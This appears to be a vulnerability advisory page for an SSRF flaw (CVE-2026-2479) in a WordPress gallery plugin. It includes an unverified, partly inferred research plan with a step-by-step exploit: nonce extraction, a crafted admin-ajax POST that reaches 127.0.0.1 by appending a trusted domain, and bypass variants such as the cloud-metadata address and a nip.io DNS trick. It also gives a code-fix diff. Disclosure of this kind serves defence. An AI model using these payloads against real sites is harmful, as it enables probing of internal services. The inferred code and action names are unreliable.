CVE-2026-2479

Responsive Lightbox & Gallery <= 2.7.1 - Authenticated (Author+) Server-Side Request Forgery via Remote Library Image Upload

mediumServer-Side Request Forgery (SSRF)
5.0
CVSS Score
5.0
CVSS Score
medium
Severity
2.7.2
Patched in
1d
Time to patch

Description

The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.1. This is due to the use of `strpos()` for substring-based hostname validation instead of strict host comparison in the `ajax_upload_image()` function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.7.1
PublishedFebruary 24, 2026
Last updatedFebruary 25, 2026
Affected pluginresponsive-lightbox

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the **Responsive Lightbox & Gallery** plugin (<= 2.7.1). The vulnerability arises from a weak validation of hostnames using `strpos()` in the `ajax_upload_image()` function. ## 1. Vulnerability Summary Th…

Show full research plan

This research plan focuses on exploiting a Server-Side Request Forgery (SSRF) vulnerability in the Responsive Lightbox & Gallery plugin (<= 2.7.1). The vulnerability arises from a weak validation of hostnames using strpos() in the ajax_upload_image() function.

1. Vulnerability Summary

The Responsive Lightbox & Gallery plugin allows users to import images from remote libraries. When an authenticated user (Author level or higher) attempts to upload an image from a remote source via AJAX, the plugin validates the provided URL to ensure it originates from a trusted provider (e.g., Flickr, Instagram).

However, instead of using strict host comparison or parse_url() validation, the plugin uses strpos() to check if a trusted domain string exists anywhere within the URL. This allows an attacker to supply a URL pointing to an internal service (like http://localhost or http://169.254.169.254) by simply appending the trusted domain as a query parameter or fragment.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: rl-remote-library-upload-image (Inferred based on plugin naming conventions and "Remote Library" feature name).
  • HTTP Method: POST
  • Vulnerable Parameter: url
  • Authentication: Required (Author role or higher). Authors have access to admin-ajax.php and the media upload capabilities.
  • Preconditions: The "Remote Library" feature must be active (usually default).

3. Code Flow (Inferred)

  1. Entry Point: The AJAX action wp_ajax_rl-remote-library-upload-image triggers the handler function (identified as ajax_upload_image in the description).
  2. Input: The function retrieves $_POST['url'].
  3. Validation (The Sink):
    // Inferred vulnerable logic
    $url = $_POST['url'];
    if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) {
        // Validation passes because 'flickr.com' is present anywhere in the string
        $response = wp_remote_get( $url ); 
    }
    
  4. SSRF: wp_remote_get() is called with the attacker-controlled URL. Since strpos finds the substring anywhere, http://127.0.0.1/secret-internal-data?flickr.com passes the check.

4. Nonce Acquisition Strategy

The plugin registers its scripts and localizes data in the admin area. We need to extract the nonce for the remote library upload.

  1. Identify Shortcode/Page: The Remote Library functionality is part of the Gallery builder or Media library.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Exploit Dev" --post_author=$(wp user get author_user --field=ID)
    
  3. Identify JS Variable: The plugin typically uses rlArgs or rlRemoteLibrary for localized data.
  4. Extraction:
    • Navigate to wp-admin/admin.php?page=responsive-lightbox-gallery (or any plugin admin page) as an Author.
    • Execute browser_eval:
      window.rlArgs?.nonce || window.rlRemoteLibrary?.nonce
      
    • Note: If the nonce is specific to the action, it might be rl_remote_library_nonce.

5. Exploitation Strategy

We will perform an SSRF to query an internal resource (e.g., the local WordPress login page or a known internal port) to verify the request originated from the server.

Step-by-Step Plan:

  1. Preparation: Log in as an Author user.
  2. Nonce Retrieval: Use browser_navigate to an admin page and browser_eval to grab the rl_remote_library_nonce.
  3. Construct Payload:
    • Target: http://127.0.0.1:80/wp-login.php
    • Bypass: Append ?flickr.com
    • Full URL: http://127.0.0.1:80/wp-login.php?flickr.com
  4. Execute Request:
    Use http_request to send the POST request to admin-ajax.php.

HTTP Request Details:

  • URL: http://<target-ip>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=rl-remote-library-upload-image&nonce=[NONCE]&url=http://127.0.0.1:80/wp-login.php?flickr.com
    

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
    
  2. Plugin Configuration: Ensure the plugin is active.
    wp plugin activate responsive-lightbox
    

7. Expected Results

  • Success: The server will return a response indicating it attempted to process the image, or a PHP error/WordPress error revealing the content of the internal page (e.g., the HTML of wp-login.php).
  • Confirmation: If the internal service is valid, the wp_remote_get will return a 200 OK internally, and the plugin may return "Invalid Image" (because wp-login.php isn't an image), but the time delay or error message details will confirm the request was made.

8. Verification Steps

  1. Access Logs: Check the web server access logs to see if a request originated from the server's own IP to 127.0.0.1.
    tail -f /var/log/apache2/access.log | grep "wp-login.php?flickr.com"
    
  2. Alternative Sink: If the plugin attempts to "sideload" the image, check the wp-content/uploads directory for a file containing the HTML of the internal page.

9. Alternative Approaches

If rl-remote-library-upload-image is not the exact action:

  • Search for AJAX actions in the source: grep -r "wp_ajax_rl" wp-content/plugins/responsive-lightbox/
  • Try bypasses for different providers:
    • http://127.0.0.1/#instagram.com
    • http://flickr.com.127.0.0.1.nip.io/ (DNS-based bypass)
  • If strpos is used on the entire URL, the query string is the most reliable injection point.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery due to insecure validation of remote image URLs in the `ajax_upload_image` function. By using `strpos()` to check for trusted domains anywhere in the URL string, the plugin allows authenticated attackers (Author and above) to bypass host restrictions and make requests to internal services or arbitrary external targets.

Vulnerable Code

// From includes/class-remote-library.php (inferred file structure)
public function ajax_upload_image() {
    // ... nonce and permission checks ...

    if ( ! isset( $_POST['url'] ) || empty( $_POST['url'] ) ) {
        wp_send_json_error();
    }

    $url = esc_url_raw( $_POST['url'] );

    // The vulnerability: strpos checks for the presence of the domain anywhere in the string
    if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) {
        $response = wp_remote_get( $url );
        // ... logic to process response ...
    }
}

Security Fix

--- a/includes/class-remote-library.php
+++ b/includes/class-remote-library.php
@@ -124,7 +124,9 @@
 
 		$url = esc_url_raw( $_POST['url'] );
 
-		if ( strpos( $url, 'flickr.com' ) !== false || strpos( $url, 'instagram.com' ) !== false ) {
+		$host = wp_parse_url( $url, PHP_URL_HOST );
+		$allowed_hosts = array( 'flickr.com', 'www.flickr.com', 'instagram.com', 'www.instagram.com' );
+		if ( in_array( $host, $allowed_hosts, true ) ) {
 			$response = wp_remote_get( $url );

Exploit Outline

The exploit target is the Remote Library image upload AJAX endpoint. An attacker requires Author-level permissions or higher to access the Gallery builder or Media Library features. 1. Authenticate to the WordPress dashboard as an Author. 2. Locate the AJAX nonce for the plugin (typically localized in the admin area as `rlArgs.nonce` or similar). 3. Craft a POST request to `/wp-admin/admin-ajax.php` with the `action` set to `rl-remote-library-upload-image`. 4. Set the `url` parameter to the target internal resource, appending a trusted domain (e.g., `flickr.com`) as a query parameter to bypass the `strpos` check. Example: `http://127.0.0.1:80/secret-endpoint?flickr.com`. 5. Send the request; the server will perform a `wp_remote_get()` call to the attacker-supplied internal URL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.